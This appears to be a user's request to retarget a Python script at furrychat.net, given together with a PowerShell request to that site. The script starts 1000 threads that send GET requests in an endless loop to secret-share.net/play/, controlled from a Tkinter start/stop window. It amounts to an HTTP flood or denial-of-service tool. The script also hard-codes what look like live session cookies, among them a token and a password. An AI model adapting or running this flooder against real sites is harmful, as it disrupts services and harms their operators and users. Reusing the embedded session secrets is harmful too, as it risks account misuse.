use this request in the python script instead

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
Invoke-WebRequest -UseBasicParsing -Uri "https://furrychat.net/index.html" `
-WebSession $session `
-Headers @{
"Referer"="https://furrychat.net/index.html"
  "Upgrade-Insecure-Requests"="1"
  "sec-ch-ua"="`"Chromium`";v=`"130`", `"Google Chrome`";v=`"130`", `"Not?A_Brand`";v=`"99`""
  "sec-ch-ua-mobile"="?0"
  "sec-ch-ua-platform"="`"Windows`""
}

import requests
import threading
import tkinter as tk
from tkinter import messagebox
import sys

# Number of threads (adjust based on your needs and server capacity)
NUM_THREADS = 1000

# Create a session
session = requests.Session()

# Set user agent
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
})

# Add cookies
session.cookies.set("secret_id", "22648", domain="secret-share.net")
session.cookies.set("secret_token", "gxInBTdNf19kck6wmetOKRXIm", domain="secret-share.net")
session.cookies.set("secret_password", "OsRcAsIuLyzn8I21BzHKOL405", domain="secret-share.net")
session.cookies.set("secret_user_agent", "Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F129.0.0.0%20Safari%2F537.36", domain="secret-share.net")
session.cookies.set("PHPSESSID", "rgvp5ugq8r861cl2irpvv2pa2k", domain="secret-share.net")

# Static headers
headers = {
    "authority": "secret-share.net",
    "method": "GET",
    "path": "/play/",
    "scheme": "https",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "accept-encoding": "gzip, deflate, br, zstd",
    "accept-language": "en-US,en;q=0.9,ru;q=0.8",
    "cache-control": "max-age=0",
    "priority": "u=0, i",
    "referer": "https://secret-share.net/",
    "sec-ch-ua": '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "sec-fetch-dest": "document",
    "sec-fetch-mode": "navigate",
    "sec-fetch-site": "same-origin",
    "sec-fetch-user": "?1",
    "upgrade-insecure-requests": "1"
}

# Event to control the threads
stop_event = threading.Event()
threads = []

def send_request(thread_id):
    while not stop_event.is_set():
        try:
            response = session.get("https://secret-share.net/play/", headers=headers, timeout=2)  # Reduced timeout
            print(f"Thread {thread_id}: {response.status_code}")
        except requests.RequestException as e:
            if stop_event.is_set():
                print(f"Thread {thread_id}: Stopped")
            else:
                print(f"Thread {thread_id}: {e}")

def start_requests():
    if threads and any(thread.is_alive() for thread in threads):
        messagebox.showwarning("Warning", "Requests are already running.")
        return
    stop_event.clear()
    for i in range(NUM_THREADS):
        thread = threading.Thread(target=send_request, args=(i+1,), daemon=True)
        threads.append(thread)
        thread.start()
    print("All threads started.")

def stop_requests():
    stop_event.set()
    session.close()  # Close the session to terminate ongoing connections
    for thread in threads:
        if thread.is_alive():
            thread.join(timeout=2)  # Increased responsiveness with shorter join timeout
    threads.clear()  # Clean up the thread list once all threads are stopped
    print("All threads stopped.")

def on_closing():
    if messagebox.askokcancel("Quit", "Do you want to quit?"):
        stop_requests()
        root.destroy()
        sys.exit()

# Create the main window
root = tk.Tk()
root.title("Request Sender Control Panel")
root.geometry("300x150")
root.resizable(False, False)

# Create Start and Stop buttons
start_button = tk.Button(root, text="Start Requests", command=start_requests, width=20, height=2, bg='green', fg='white')
start_button.pack(pady=10)

stop_button = tk.Button(root, text="Stop Requests", command=stop_requests, width=20, height=2, bg='red', fg='white')
stop_button.pack(pady=10)

# Handle window close event
root.protocol("WM_DELETE_WINDOW", on_closing)

# Start the Tkinter event loop
root.mainloop()